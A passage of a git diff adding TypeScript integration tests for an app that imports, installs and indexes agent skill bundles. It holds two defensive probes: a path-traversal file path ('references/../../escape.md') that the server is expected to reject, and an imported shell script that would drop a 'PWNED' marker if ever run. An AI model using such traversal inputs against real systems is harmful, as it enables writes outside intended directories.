test('rejects an escaping path and a file write into a non-existent skill', async () => {
await putSkill('demo2', 'd', '# D\n');
const escaping = await putSkillFile('demo2', 'references/../../escape.md', 'x');
diff --git a/packages/app/tests/integration/skill-bundle-inbound-backlink.test.ts b/packages/app/tests/integration/skill-bundle-inbound-backlink.test.ts
index fe4d96a8e..1231decee 100644
--- a/packages/app/tests/integration/skill-bundle-inbound-backlink.test.ts
+++ b/packages/app/tests/integration/skill-bundle-inbound-backlink.test.ts
@@ -1,5 +1,5 @@
import { afterEach, beforeEach, describe, expect, test } from 'vitest';
-import { createTestServer, pollUntil, type TestServer } from './test-harness.ts';
+import { createTestServer, type TestServer } from './test-harness.ts';
/**
* INBOUND link from a skill's SKILL.md to one of its bundle references.
@@ -23,7 +23,9 @@ describe('skill SKILL.md → references/<x> inbound backlink (live index)', () =
});
const base = () => `http://127.0.0.1:${server.port}`;
- async function putSkill(name: string, body: string): Promise<void> {
+ /** Creates the skill and returns its REAL bundle dir (contentDir-relative) —
+ * creates land in-place at the default skill home (store retirement). */
+ async function putSkill(name: string, body: string): Promise<string> {
const res = await fetch(`${base()}/api/skill`, {
method: 'PUT',
headers: { 'Content-Type': 'application/json' },
@@ -35,6 +37,8 @@ describe('skill SKILL.md → references/<x> inbound backlink (live index)', () =
}),
});
if (!res.ok) throw new Error(`skill PUT failed: ${res.status} ${await res.text()}`);
+ const payload = (await res.json()) as { path: string };
+ return payload.path.replace(/\/SKILL\.md$/, '');
}
async function putSkillFile(name: string, path: string, content: string) {
return fetch(`${base()}/api/skill-file`, {
@@ -62,15 +66,51 @@ describe('skill SKILL.md → references/<x> inbound backlink (live index)', () =
return { nodes: data.nodes ?? [], links: data.links ?? [] };
}
+ /**
+ * Asserts the backlink immediately after both write requests complete. These
+ * APIs promise to seed the live index before responding; polling would let an
+ * unrelated file-watcher debounce satisfy the test and hide a missing seed.
+ * The diagnostic payload distinguishes an unindexed source from a bad target
+ * resolution without adding a race-tolerant wait.
+ */
+ async function expectBacklink(refDoc: string, skillDoc: string): Promise<void> {
+ if (!(await backlinkSources(refDoc)).includes(skillDoc)) {
+ // The skill's own neighborhood says whether SKILL.md's link was parsed at
+ // all and, if so, which target it resolved to — the phantom top-level
+ // `references/<x>` is the failure mode this test exists to catch.
+ const graph = await graphNeighborhood(skillDoc);
+ // The link graph only carries RESOLVED edges, so an empty one is
+ // ambiguous. Dead links disambiguate: an entry naming skillDoc means the
+ // link was parsed and merely failed to resolve; no entry at all means
+ // SKILL.md was never parsed for links in the first place.
+ const dead = await (await fetch(`${base()}/api/dead-links`)).json();
+ const readDoc = async (name: string) => {
+ const r = await fetch(`${base()}/api/document?docName=${encodeURIComponent(name)}`);
+ return `${r.status} ${JSON.stringify(await r.text()).slice(0, 240)}`;
+ };
+ throw new Error(
+ `backlink ${skillDoc} -> ${refDoc} never landed.\n` +
+ ` backlinks on refDoc: ${JSON.stringify(await backlinkSources(refDoc))}\n` +
+ ` skillDoc graph nodes: ${JSON.stringify(graph.nodes.map((n) => n.id))}\n` +
+ ` skillDoc graph links: ${JSON.stringify(graph.links)}\n` +
+ ` dead links: ${JSON.stringify(dead).slice(0, 400)}\n` +
+ ` GET skillDoc: ${await readDoc(skillDoc)}\n` +
+ ` GET refDoc: ${await readDoc(refDoc)}\n` +
+ ` backlinks on phantom 'references/notes': ` +
+ `${JSON.stringify(await backlinkSources('references/notes'))}`,
+ );
+ }
+ }
+
test('a bundle-relative wiki-link from SKILL.md backlinks the reference doc', async () => {
- const refDoc = '.ok/skills/demo/references/notes';
- const skillDoc = '.ok/skills/demo/SKILL';
+ const dir = await putSkill('demo', '# Demo\n\nSee [[references/notes]] for the deep dive.\n');
+ const refDoc = `${dir}/references/notes`;
+ const skillDoc = `${dir}/SKILL`;
- await putSkill('demo', '# Demo\n\nSee [[references/notes]] for the deep dive.\n');
const refRes = await putSkillFile('demo', 'references/notes.md', '# Notes\n\nBody.\n');
expect(refRes.ok).toBe(true);
- await pollUntil(async () => (await backlinkSources(refDoc)).includes(skillDoc));
+ await expectBacklink(refDoc, skillDoc);
// The phantom top-level `references/notes` must NOT collect the edge.
expect(await backlinkSources('references/notes')).not.toContain(skillDoc);
@@ -83,13 +123,16 @@ describe('skill SKILL.md → references/<x> inbound backlink (live index)', () =
}, 20000);
test('a bundle-relative markdown link from SKILL.md backlinks the reference doc', async () => {
- const refDoc = '.ok/skills/mdform/references/notes';
- const skillDoc = '.ok/skills/mdform/SKILL';
+ const dir = await putSkill(
+ 'mdform',
+ '# Demo\n\nSee [notes](references/notes.md) for context.\n',
+ );
+ const refDoc = `${dir}/references/notes`;
+ const skillDoc = `${dir}/SKILL`;
- await putSkill('mdform', '# Demo\n\nSee [notes](references/notes.md) for context.\n');
const refRes = await putSkillFile('mdform', 'references/notes.md', '# Notes\n\nBody.\n');
expect(refRes.ok).toBe(true);
- await pollUntil(async () => (await backlinkSources(refDoc)).includes(skillDoc));
+ await expectBacklink(refDoc, skillDoc);
}, 20000);
});
diff --git a/packages/app/tests/integration/skill-divergent-host-reads.test.ts b/packages/app/tests/integration/skill-divergent-host-reads.test.ts
new file mode 100644
index 000000000..a7580d8a4
--- /dev/null
+++ b/packages/app/tests/integration/skill-divergent-host-reads.test.ts
@@ -0,0 +1,93 @@
+import { mkdirSync, writeFileSync } from 'node:fs';
+import { join } from 'node:path';
+import { afterAll, beforeAll, describe, expect, test } from 'vitest';
+import { HARNESS_BOOT_TIMEOUT_MS } from './harness-boot-timeout';
+import { createTestServer, type TestServer } from './test-harness';
+
+/**
+ * Same name, different content across host dirs = two different skills, each its
+ * own row. Every per-row READ must therefore be addressed by host, or a row
+ * silently serves its namesake's bytes.
+ *
+ * OK's own `open-knowledge*` bundles resolve through a SEPARATE branch from
+ * authored skills, and that branch ignored the host — so both rows of a diverged
+ * built-in served whichever dir the editor-id order reached first. The two
+ * `open-knowledge` cases below are the regression guard; the authored-skill
+ * cases pin the path that was always correct so the two can't drift apart.
+ *
+ */
+let server: TestServer;
+const base = () => `http://127.0.0.1:${server.port}`;
+
+/** A bundle with a distinguishing SKILL.md body and its own reference file. */
+function writeBundle(root: string, name: string, marker: string, refName: string): void {
+ const dir = join(server.contentDir, root, name);
+ mkdirSync(join(dir, 'references'), { recursive: true });
+ writeFileSync(
+ join(dir, 'SKILL.md'),
+ `---\nname: ${name}\ndescription: ${marker} copy.\n---\n\n# ${marker}\n`,
+ );
+ writeFileSync(join(dir, 'references', refName), `# ${marker} reference\n`);
+}
+
+beforeAll(async () => {
+ server = await createTestServer();
+ // A diverged BUILT-IN: `.agents` holds a stale single-file copy, `.claude` the
+ // current one. This is the shape that shipped broken.
+ writeBundle('.agents/skills', 'open-knowledge', 'agents-side', 'from-agents.md');
+ writeBundle('.claude/skills', 'open-knowledge', 'claude-side', 'from-claude.md');
+ // A diverged AUTHORED skill, same shape, different resolution path.
+ writeBundle('.agents/skills', 'reviewer', 'agents-side', 'from-agents.md');
+ writeBundle('.claude/skills', 'reviewer', 'claude-side', 'from-claude.md');
+}, HARNESS_BOOT_TIMEOUT_MS);
+
+afterAll(async () => {
+ await server.cleanup();
+});
+
+async function skillAt(name: string, host: string) {
+ const res = await fetch(`${base()}/api/skill?scope=project&name=${name}&host=${host}`);
+ expect(res.status).toBe(200);
+ const body = (await res.json()) as {
+ skill?: { path?: string; body?: string; files?: Array<{ path: string }> };
+ };
+ return body.skill ?? {};
+}
+
+async function fileAt(name: string, host: string, path: string) {
+ return fetch(`${base()}/api/skill-file?scope=project&name=${name}&host=${host}&path=${path}`);
+}
+
+describe('divergent same-name skills read per host', () => {
+ for (const name of ['open-knowledge', 'reviewer']) {
+ test(`${name}: each host serves its OWN bundle, not its namesake's`, async () => {
+ const fromAgents = await skillAt(name, 'agents');
+ const fromClaude = await skillAt(name, 'claude');
+
+ expect(fromAgents.path).toContain('.agents/skills');
+ expect(fromClaude.path).toContain('.claude/skills');
+ expect(fromAgents.body).toContain('agents-side');
+ expect(fromClaude.body).toContain('claude-side');
+ });
+
+ test(`${name}: bundle FILES come from the addressed host`, async () => {
+ const agentsFiles = (await skillAt(name, 'agents')).files ?? [];
+ const claudeFiles = (await skillAt(name, 'claude')).files ?? [];
+
+ expect(agentsFiles.map((f) => f.path)).toContain('references/from-agents.md');
+ expect(agentsFiles.map((f) => f.path)).not.toContain('references/from-claude.md');
+ expect(claudeFiles.map((f) => f.path)).toContain('references/from-claude.md');
+ expect(claudeFiles.map((f) => f.path)).not.toContain('references/from-agents.md');
+ });
+
+ test(`${name}: a reference file reads from the addressed host`, async () => {
+ const own = await fileAt(name, 'agents', 'references/from-agents.md');
+ expect(own.status).toBe(200);
+ expect(((await own.json()) as { text: string }).text).toContain('agents-side');
+
+ // The sibling's file is NOT in this host's bundle — serving it would be the
+ // silent wrong-bytes read this whole contract exists to prevent.
+ expect((await fileAt(name, 'agents', 'references/from-claude.md')).status).toBe(404);
+ });
+ }
+});
diff --git a/packages/app/tests/integration/skill-global-copilot-root.test.ts b/packages/app/tests/integration/skill-global-copilot-root.test.ts
new file mode 100644
index 000000000..099aead4a
--- /dev/null
+++ b/packages/app/tests/integration/skill-global-copilot-root.test.ts
@@ -0,0 +1,90 @@
+import { existsSync, mkdirSync, mkdtempSync, rmSync, writeFileSync } from 'node:fs';
+import { tmpdir } from 'node:os';
+import { join } from 'node:path';
+import { afterAll, beforeAll, describe, expect, test } from 'vitest';
+import { HARNESS_BOOT_TIMEOUT_MS } from './harness-boot-timeout';
+import { createTestServer, type TestServer } from './test-harness';
+
+/**
+ * at GLOBAL scope, projecting a skill to Copilot must target its USER
+ * root (`~/.copilot/skills`), not its PROJECT root (`~/.github/skills`). The bug
+ * was that `skillHostDir`/`projectSkill` always used `EDITOR_PROJECT_SKILL_ROOT`,
+ * so a global install/move to Copilot landed in `~/.github/skills` while the scan
+ * + menu looked at `~/.copilot` — silently dropping it.
+ *
+ * `configHomedirOverride` routes global-scope writes to a TEMP home, so this test
+ * never touches the real `$HOME`.
+ *
+ */
+let server: TestServer;
+let tmpHome: string;
+const base = () => `http://127.0.0.1:${server.port}`;
+
+const copilotUserSkill = (name: string) => join(tmpHome, '.copilot', 'skills', name, 'SKILL.md');
+const copilotProjectRootAtHome = (name: string) => join(tmpHome, '.github', 'skills', name);
+
+beforeAll(async () => {
+ tmpHome = mkdtempSync(join(tmpdir(), 'ok-copilot-root-home-'));
+ // `.copilot` present so the editor is a detected global host; `.agents` hub for
+ // a vendor-neutral global source.
+ mkdirSync(join(tmpHome, '.copilot', 'skills'), { recursive: true });
+ mkdirSync(join(tmpHome, '.agents', 'skills'), { recursive: true });
+ server = await createTestServer({ configHomedirOverride: tmpHome });
+}, HARNESS_BOOT_TIMEOUT_MS);
+afterAll(async () => {
+ await server.cleanup();
+ rmSync(tmpHome, { recursive: true, force: true });
+});
+
+describe('global Copilot projection uses the user root (PRD-7620)', () => {
+ test('global install to copilot lands in ~/.copilot/skills, not ~/.github/skills', async () => {
+ const name = 'gh-copilot-global';
+ expect(
+ (
+ await fetch(`${base()}/api/skill`, {
+ method: 'PUT',
+ headers: { 'Content-Type': 'application/json' },
+ body: JSON.stringify({
+ scope: 'global',
+ name,
+ frontmatter: { name, description: 'Global copilot skill.' },
+ body: '# G',
+ }),
+ })
+ ).status,
+ ).toBe(200);
+
+ const install = await fetch(`${base()}/api/skill/install`, {
+ method: 'POST',
+ headers: { 'Content-Type': 'application/json' },
+ body: JSON.stringify({ scope: 'global', name, targets: ['copilot'] }),
+ });
+ expect(install.status).toBe(200);
+
+ // Copilot's USER root, not its project root reused at home.
+ expect(existsSync(copilotUserSkill(name))).toBe(true);
+ expect(existsSync(copilotProjectRootAtHome(name))).toBe(false);
+ });
+
+ test('project→global move of a copilot-installed skill keeps copilot at the user root', async () => {
+ const name = 'gh-copilot-moved';
+ // Seed a project skill installed into copilot's PROJECT root (.github/skills).
+ const projCopilot = join(server.contentDir, '.github', 'skills', name);
+ mkdirSync(projCopilot, { recursive: true });
+ writeFileSync(
+ join(projCopilot, 'SKILL.md'),
+ `---\nname: ${name}\ndescription: Move me.\n---\n\n# M`,
+ );
+
+ const res = await fetch(`${base()}/api/skill/move-scope`, {
+ method: 'POST',
+ headers: { 'Content-Type': 'application/json' },
+ body: JSON.stringify({ name, fromScope: 'project', toScope: 'global' }),
+ });
+ expect(res.status).toBe(200);
+
+ // Copilot survives the move at its global USER root.
+ expect(existsSync(copilotUserSkill(name))).toBe(true);
+ expect(existsSync(copilotProjectRootAtHome(name))).toBe(false);
+ });
+});
diff --git a/packages/app/tests/integration/skill-import-bulk.test.ts b/packages/app/tests/integration/skill-import-bulk.test.ts
new file mode 100644
index 000000000..f2d0aed07
--- /dev/null
+++ b/packages/app/tests/integration/skill-import-bulk.test.ts
@@ -0,0 +1,150 @@
+import { chmodSync, mkdirSync, mkdtempSync, readdirSync, rmSync, writeFileSync } from 'node:fs';
+import { tmpdir } from 'node:os';
+import { join } from 'node:path';
+import { afterAll, afterEach, beforeAll, beforeEach, describe, expect, test } from 'vitest';
+import { createTestServer, HARNESS_BOOT_TIMEOUT_MS, type TestServer } from './test-harness.ts';
+
+/**
+ * `POST /api/skills/import-bulk` — many named skills from ONE source in a single
+ * fetch (the plugin case). Proves the selection is honored exactly (unpicked
+ * siblings stay out), that a name absent from the source reports per-skill
+ * instead of failing the request, and that the same-source dedupe still holds.
+ */
+
+let srcRoot: string;
+
+function writeSkillDir(dir: string, name: string, description: string): void {
+ mkdirSync(dir, { recursive: true });
+ writeFileSync(
+ join(dir, 'SKILL.md'),
+ `---\nname: ${name}\ndescription: ${description}\n---\n\nBody of ${name}.\n`,
+ );
+}
+
+beforeAll(() => {
+ srcRoot = mkdtempSync(join(tmpdir(), 'ok-bulk-src-'));
+ // A "plugin"-shaped source: three sibling skill dirs under one root.
+ for (const name of ['alpha-skill', 'beta-skill', 'gamma-skill']) {
+ writeSkillDir(join(srcRoot, 'bundle', name), name, `Does ${name} things`);
+ }
+}, HARNESS_BOOT_TIMEOUT_MS);
+afterAll(() => {
+ rmSync(srcRoot, { recursive: true, force: true });
+});
+
+describe('POST /api/skills/import-bulk', () => {
+ let server: TestServer;
+ beforeEach(async () => {
+ server = await createTestServer();
+ });
+ afterEach(async () => {
+ await server.cleanup();
+ });
+
+ const importBulk = (payload: Record<string, unknown>) =>
+ fetch(`http://127.0.0.1:${server.port}/api/skills/import-bulk`, {
+ method: 'POST',
+ headers: { 'Content-Type': 'application/json' },
+ body: JSON.stringify(payload),
+ });
+
+ /** Skill names the server lists — asserted through the API rather than a
+ * guessed on-disk root, since the import home is resolved server-side. */
+ async function listedNames(): Promise<string[]> {
+ const res = await fetch(`http://127.0.0.1:${server.port}/api/skills`);
+ const body = (await res.json()) as { skills: Array<{ name: string }> };
+ return body.skills.map((s) => s.name);
+ }
+
+ interface BulkBody {
+ results: Array<{ requested: string; status: string; name?: string; error?: string }>;
+ imported: number;
+ alreadyImported: number;
+ failed: number;
+ }
+
+ test('imports exactly the selected skills and leaves the rest alone', async () => {
+ const res = await importBulk({
+ source: join(srcRoot, 'bundle'),
+ skills: ['alpha-skill', 'gamma-skill'],
+ install: false,
+ });
+ expect(res.status).toBe(200);
+ const out = (await res.json()) as BulkBody;
+ expect(out.imported).toBe(2);
+ expect(out.failed).toBe(0);
+ expect(out.results.map((r) => r.status)).toEqual(['imported', 'imported']);
+ const names = await listedNames();
+ expect(names).toContain('alpha-skill');
+ expect(names).toContain('gamma-skill');
+ // The unpicked sibling is the whole point of a picker.
+ expect(names).not.toContain('beta-skill');
+ });
+
+ test('a name absent from the source is per-skill, not a failed request', async () => {
+ const res = await importBulk({
+ source: join(srcRoot, 'bundle'),
+ skills: ['alpha-skill', 'nope-skill'],
+ install: false,
+ });
+ expect(res.status).toBe(200);
+ const out = (await res.json()) as BulkBody;
+ expect(out.imported).toBe(1);
+ expect(out.failed).toBe(1);
+ expect(out.results.find((r) => r.requested === 'nope-skill')?.status).toBe('not-found');
+ expect(await listedNames()).toContain('alpha-skill');
+ });
+
+ test('an unreadable bundle fails only itself, not the selection', async () => {
+ // Failure isolation has to survive a THROW, not just a failure outcome: the
+ // pre-flight walk stats and reads the tree, and an unreadable dir raises
+ // EACCES. Root ignores mode bits, so skip rather than assert a false pass.
+ const locked = join(srcRoot, 'bundle', 'locked-skill');
+ writeSkillDir(locked, 'locked-skill', 'Cannot be read');
+ chmodSync(locked, 0o000);
+ const readable = (() => {
+ try {
+ readdirSync(locked);
+ return true;
+ } catch {
+ return false;
+ }
+ })();
+ try {
+ if (readable) return; // running as root — the permission bit means nothing
+ const res = await importBulk({
+ source: join(srcRoot, 'bundle'),
+ skills: ['alpha-skill', 'locked-skill'],
+ install: false,
+ });
+ expect(res.status).toBe(200);
+ const out = (await res.json()) as BulkBody;
+ // Either unsuccessful label is fine — an unreadable dir drops out of
+ // enumeration (`not-found`) or trips the pre-flight walk (`failed`). What
+ // must hold is that it is reported per-skill and counted, never thrown.
+ expect(['failed', 'not-found']).toContain(
+ out.results.find((r) => r.requested === 'locked-skill')?.status,
+ );
+ expect(out.failed).toBe(1);
+ // The whole point: the good skill in the same selection still landed.
+ expect(out.imported).toBe(1);
+ expect(await listedNames()).toContain('alpha-skill');
+ } finally {
+ chmodSync(locked, 0o755);
+ rmSync(locked, { recursive: true, force: true });
+ }
+ });
+
+ test('re-importing the same selection is a content-hash no-op', async () => {
+ const payload = {
+ source: join(srcRoot, 'bundle'),
+ skills: ['beta-skill'],
+ install: false,
+ };
+ expect((await importBulk(payload)).status).toBe(200);
+ const second = (await (await importBulk(payload)).json()) as BulkBody;
+ expect(second.imported).toBe(0);
+ expect(second.alreadyImported).toBe(1);
+ expect(second.failed).toBe(0);
+ });
+});
diff --git a/packages/app/tests/integration/skill-import.test.ts b/packages/app/tests/integration/skill-import.test.ts
new file mode 100644
index 000000000..47dda3d37
--- /dev/null
+++ b/packages/app/tests/integration/skill-import.test.ts
@@ -0,0 +1,561 @@
+import { existsSync, mkdirSync, mkdtempSync, readFileSync, rmSync, writeFileSync } from 'node:fs';
+import { tmpdir } from 'node:os';
+import { join, resolve } from 'node:path';
+import { afterAll, afterEach, beforeAll, beforeEach, describe, expect, test } from 'vitest';
+import {
+ createTestServer,
+ HARNESS_BOOT_TIMEOUT_MS,
+ pollUntil,
+ type TestServer,
+} from './test-harness.ts';
+
+/**
+ * End-to-end proof of `POST /api/skill/import` (slice 3): a fetched skill-dir
+ * lands in `.ok/skills/<name>` as content via the sanctioned writers, its
+ * scripts are written but NEVER executed, upstream is recorded in
+ * `.ok/skills-lock.json`, collisions get an `-imported` name, and an identical
+ * re-import is a no-op (contentHash dedupe).
+ */
+
+let srcRoot: string;
+
+function writeSkillDir(dir: string, name: string, description: string, body = 'Body.'): void {
+ mkdirSync(dir, { recursive: true });
+ writeFileSync(
+ join(dir, 'SKILL.md'),
+ `---\nname: ${name}\ndescription: ${description}\n---\n\n${body}\n`,
+ );
+}
+
+beforeAll(() => {
+ srcRoot = mkdtempSync(join(tmpdir(), 'ok-import-src-'));
+}, HARNESS_BOOT_TIMEOUT_MS);
+afterAll(() => {
+ rmSync(srcRoot, { recursive: true, force: true });
+});
+
+describe('POST /api/skill/import', () => {
+ let server: TestServer;
+ beforeEach(async () => {
+ server = await createTestServer();
+ });
+ afterEach(async () => {
+ await server.cleanup();
+ });
+
+ const base = () => `http://127.0.0.1:${server.port}`;
+ const importSkill = (payload: Record<string, unknown>) =>
+ fetch(`${base()}/api/skill/import`, {
+ method: 'POST',
+ headers: { 'Content-Type': 'application/json' },
+ body: JSON.stringify(payload),
+ });
+
+ test('imports a local skill-dir as content + records provenance; scripts not executed', async () => {
+ const dir = join(srcRoot, 'single');
+ writeSkillDir(dir, 'cool-skill', 'Does cool things', '# Cool\n');
+ // A script that WOULD create a marker file if executed.
+ const marker = join(srcRoot, 'PWNED');
+ mkdirSync(join(dir, 'scripts'), { recursive: true });
+ writeFileSync(join(dir, 'scripts', 'run.sh'), `#!/bin/sh\ntouch '${marker}'\n`);
+ mkdirSync(join(dir, 'references'), { recursive: true });
+ writeFileSync(join(dir, 'references', 'api.md'), '# API\n');
+
+ const res = await importSkill({ source: dir });
+ expect(res.status).toBe(200);
+ const out = (await res.json()) as {
+ name: string;
+ created: boolean;
+ alreadyImported: boolean;
+ provenance: { contentHash: string; source: string };
+ };
+ expect(out.name).toBe('cool-skill');
+ expect(out.created).toBe(true);
+ expect(out.alreadyImported).toBe(false);
+ expect(out.provenance.contentHash).toMatch(/^[0-9a-f]{64}$/);
+
+ // Content landed on disk.
+ const skillMd = resolve(server.contentDir, '.claude', 'skills', 'cool-skill', 'SKILL.md');
+ await pollUntil(() => existsSync(skillMd));
+ expect(readFileSync(skillMd, 'utf-8')).toContain('name: cool-skill');
+ expect(
+ existsSync(
+ resolve(server.contentDir, '.claude', 'skills', 'cool-skill', 'scripts', 'run.sh'),
+ ),
+ ).toBe(true);
+ // The script was imported as content, NOT executed.
+ expect(existsSync(marker)).toBe(false);
+
+ // Provenance recorded in the lockfile.
+ const lock = JSON.parse(
+ readFileSync(resolve(server.contentDir, '.ok', 'skills-lock.json'), 'utf-8'),
+ );
+ expect(lock.skills['cool-skill'].contentHash).toBe(out.provenance.contentHash);
+ expect(lock.skills['cool-skill'].source).toBe(dir);
+ });
+
+ test('identical re-import is a no-op (contentHash dedupe)', async () => {
+ const dir = join(srcRoot, 'dup');
+ writeSkillDir(dir, 'dup-skill', 'd');
+ expect((await importSkill({ source: dir })).status).toBe(200);
+ const second = (await importSkill({ source: dir }).then((r) => r.json())) as {
+ alreadyImported: boolean;
+ name: string;
+ };
+ expect(second.alreadyImported).toBe(true);
+ expect(second.name).toBe('dup-skill');
+ });
+
+ test('duplicate copies the complete bundle, including binary files', async () => {
+ const dir = join(srcRoot, 'duplicate-source');
+ writeSkillDir(dir, 'duplicate-source', 'source', '# Original\n');
+ mkdirSync(join(dir, 'assets'), { recursive: true });
+ const binary = Buffer.from([0x89, 0x50, 0x4e, 0x47, 0x00, 0xff]);
+ writeFileSync(join(dir, 'assets', 'logo.png'), binary);
+ expect((await importSkill({ source: dir, install: false })).status).toBe(200);
+ const sourceHome = existsSync(join(server.contentDir, '.agents')) ? '.agents' : '.claude';
+ const installedSourceDir = resolve(server.contentDir, sourceHome, 'skills', 'duplicate-source');
+ writeFileSync(
+ join(installedSourceDir, 'SKILL.md'),
+ [
+ '---',
+ '# keep this comment',
+ 'name: duplicate-source',
+ 'description: source',
+ 'tags: [audit, reusable]',
+ 'metadata:',
+ ' owner: platform',
+ '---',
+ '# Original',
+ '',
+ ].join('\n'),
+ );
+
+ const duplicate = await fetch(`${base()}/api/skill/duplicate`, {
+ method: 'POST',
+ headers: { 'Content-Type': 'application/json' },
+ body: JSON.stringify({
+ scope: 'project',
+ name: 'duplicate-source',
+ toName: 'duplicate-source-copy',
+ }),
+ });
+ expect(duplicate.status).toBe(200);
+ expect(await duplicate.json()).toMatchObject({ name: 'duplicate-source-copy' });
+
+ const copiedDir = resolve(server.contentDir, sourceHome, 'skills', 'duplicate-source-copy');
+ expect(readFileSync(join(copiedDir, 'assets', 'logo.png')).equals(binary)).toBe(true);
+ const copiedSkillMd = readFileSync(join(copiedDir, 'SKILL.md'), 'utf-8');
+ expect(copiedSkillMd).toContain('name: duplicate-source-copy');
+ expect(copiedSkillMd).toContain('# keep this comment');
+ expect(copiedSkillMd).toMatch(/tags: \[\s*audit,\s*reusable\s*\]/);
+ expect(copiedSkillMd).toContain('owner: platform');
+
+ const conflict = await fetch(`${base()}/api/skill/duplicate`, {
+ method: 'POST',
+ headers: { 'Content-Type': 'application/json' },
+ body: JSON.stringify({
+ scope: 'project',
+ name: 'duplicate-source',
+ toName: 'duplicate-source-copy',
+ }),
+ });
+ expect(conflict.status).toBe(409);
+
+ const missing = await fetch(`${base()}/api/skill/duplicate`, {
+ method: 'POST',
+ headers: { 'Content-Type': 'application/json' },
+ body: JSON.stringify({
+ scope: 'project',
+ name: 'does-not-exist',
+ toName: 'does-not-exist-copy',
+ }),
+ });
+ expect(missing.status).toBe(404);
+ });
+
+ test('name collision with different content lands under -imported', async () => {
+ const a = join(srcRoot, 'collide-a');
+ const b = join(srcRoot, 'collide-b');
+ writeSkillDir(a, 'twin', 'first', 'Original.');
+ writeSkillDir(b, 'twin', 'second', 'Different body.');
+ expect((await importSkill({ source: a })).status).toBe(200);
+ const out = (await importSkill({ source: b }).then((r) => r.json())) as {
+ name: string;
+ collisionRenamedFrom?: string;
+ };
+ expect(out.name).toBe('twin-imported');
+ expect(out.collisionRenamedFrom).toBe('twin');
+ });
+
+ test('multi-skill source requires --skill and imports the chosen one', async () => {
+ const repo = join(srcRoot, 'multi');
+ writeSkillDir(join(repo, 'skills', 'alpha'), 'alpha', 'a');
+ writeSkillDir(join(repo, 'skills', 'beta'), 'beta', 'b');
+
+ const ambiguous = await importSkill({ source: repo });
+ expect(ambiguous.status).toBe(400);
+
+ const picked = (await importSkill({ source: repo, skill: 'beta' }).then((r) => r.json())) as {
+ name: string;
+ };
+ expect(picked.name).toBe('beta');
+ });
+
+ /**
+ * The `skill` selector matches the SKILL.md frontmatter `name`, not only the
+ * on-disk folder — the skills.sh case where the folder (`react-native-skills`)
+ * and the frontmatter name (`vercel-react-native-skills`) diverge.
+ *
+ */
+ test('picks a skill by frontmatter name when it differs from the folder', async () => {
+ const repo = join(srcRoot, 'fm-name');
+ writeSkillDir(join(repo, 'skills', 'react-native-skills'), 'vercel-react-native-skills', 'rn');
+ writeSkillDir(join(repo, 'skills', 'other'), 'other', 'o');
+
+ const picked = (await importSkill({
+ source: repo,
+ skill: 'vercel-react-native-skills',
+ }).then((r) => r.json())) as { name: string };
+ expect(picked.name).toBe('vercel-react-native-skills');
+ });
+
+ test('rejects a request with no source', async () => {
+ expect((await importSkill({})).status).toBe(400);
+ });
+});
+
+describe('POST /api/skill/import at global scope', () => {
+ let server: TestServer;
+ let homeDir: string;
+ let sourceDir: string;
+
+ beforeEach(async () => {
+ homeDir = mkdtempSync(join(tmpdir(), 'ok-global-import-home-'));
+ sourceDir = mkdtempSync(join(tmpdir(), 'ok-global-import-source-'));
+ writeSkillDir(sourceDir, 'global-copy', 'Global plugin copy');
+ server = await createTestServer({ configHomedirOverride: homeDir });
+ });
+
+ afterEach(async () => {
+ await server.cleanup();
+ rmSync(homeDir, { recursive: true, force: true });
+ rmSync(sourceDir, { recursive: true, force: true });
+ });
+
+ test('records provenance in the global lock and surfaces it on the copied skill', async () => {
+ const importResponse = await fetch(`${server.baseUrl}/api/skill/import`, {
+ method: 'POST',
+ headers: { 'Content-Type': 'application/json' },
+ body: JSON.stringify({
+ source: sourceDir,
+ scope: 'global',
+ install: false,
+ }),
+ });
+ expect(importResponse.status).toBe(200);
+
+ const globalLockPath = join(homeDir, '.ok', 'skills-lock.json');
+ const globalLock = JSON.parse(readFileSync(globalLockPath, 'utf-8')) as {
+ skills: Record<string, { source: string }>;
+ };
+ expect(globalLock.skills['global-copy']?.source).toBe(sourceDir);
+
+ const projectLockPath = join(server.contentDir, '.ok', 'skills-lock.json');
+ const projectLock = existsSync(projectLockPath)
+ ? (JSON.parse(readFileSync(projectLockPath, 'utf-8')) as {
+ skills: Record<string, { source: string }>;
+ })
+ : null;
+ expect(projectLock?.skills['global-copy']).toBeUndefined();
+
+ const list = (await fetch(`${server.baseUrl}/api/skills`).then((res) => res.json())) as {
+ skills: Array<{ name: string; scope: string; origin?: { source: string } }>;
+ };
+ expect(
+ list.skills.find((skill) => skill.scope === 'global' && skill.name === 'global-copy')?.origin
+ ?.source,
+ ).toBe(sourceDir);
+ });
+});
+
+describe('POST /api/skill/reimport', () => {
+ let server: TestServer;
+ beforeEach(async () => {
+ server = await createTestServer();
+ });
+ afterEach(async () => {
+ await server.cleanup();
+ });
+
+ const base = () => `http://127.0.0.1:${server.port}`;
+ const importSkill = (payload: Record<string, unknown>) =>
+ fetch(`${base()}/api/skill/import`, {
+ method: 'POST',
+ headers: { 'Content-Type': 'application/json' },
+ body: JSON.stringify(payload),
+ });
+ const reimport = (payload: Record<string, unknown>) =>
+ fetch(`${base()}/api/skill/reimport`, {
+ method: 'POST',
+ headers: { 'Content-Type': 'application/json' },
+ body: JSON.stringify(payload),
+ });
+
+ test('reimport overwrites in place when the source changed, no-ops when unchanged', async () => {
+ const dir = join(srcRoot, 'reimport-src');
+ writeSkillDir(dir, 'evolving', 'v1', '# One\n');
+ expect((await importSkill({ source: dir })).status).toBe(200);
+
+ // Unchanged source → up to date, nothing rewritten.
+ const same = (await reimport({ name: 'evolving' }).then((r) => r.json())) as {
+ updated: boolean;
+ };
+ expect(same.updated).toBe(false);
+
+ // Change the upstream, then reimport → overwrite in place (same name).
+ writeSkillDir(dir, 'evolving', 'v2', '# Two\n');
+ const changed = (await reimport({ name: 'evolving' }).then((r) => r.json())) as {
+ updated: boolean;
+ name: string;
+ };
+ expect(changed.updated).toBe(true);
+ expect(changed.name).toBe('evolving');
+
+ const skillMd = resolve(server.contentDir, '.claude', 'skills', 'evolving', 'SKILL.md');
+ await pollUntil(() => readFileSync(skillMd, 'utf-8').includes('# Two'));
+ expect(readFileSync(skillMd, 'utf-8')).toContain('description: v2');
+ });
+
+ test('reimport prunes bundle files removed upstream before advancing the lock', async () => {
+ const dir = join(srcRoot, 'reimport-prune-src');
+ writeSkillDir(dir, 'shrinking', 'v1', '# One\n');
+ mkdirSync(join(dir, 'references'), { recursive: true });
+ mkdirSync(join(dir, 'assets'), { recursive: true });
+ writeFileSync(join(dir, 'references', 'keep.md'), '# Keep\n');
+ writeFileSync(join(dir, 'references', 'removed.md'), '# Remove\n');
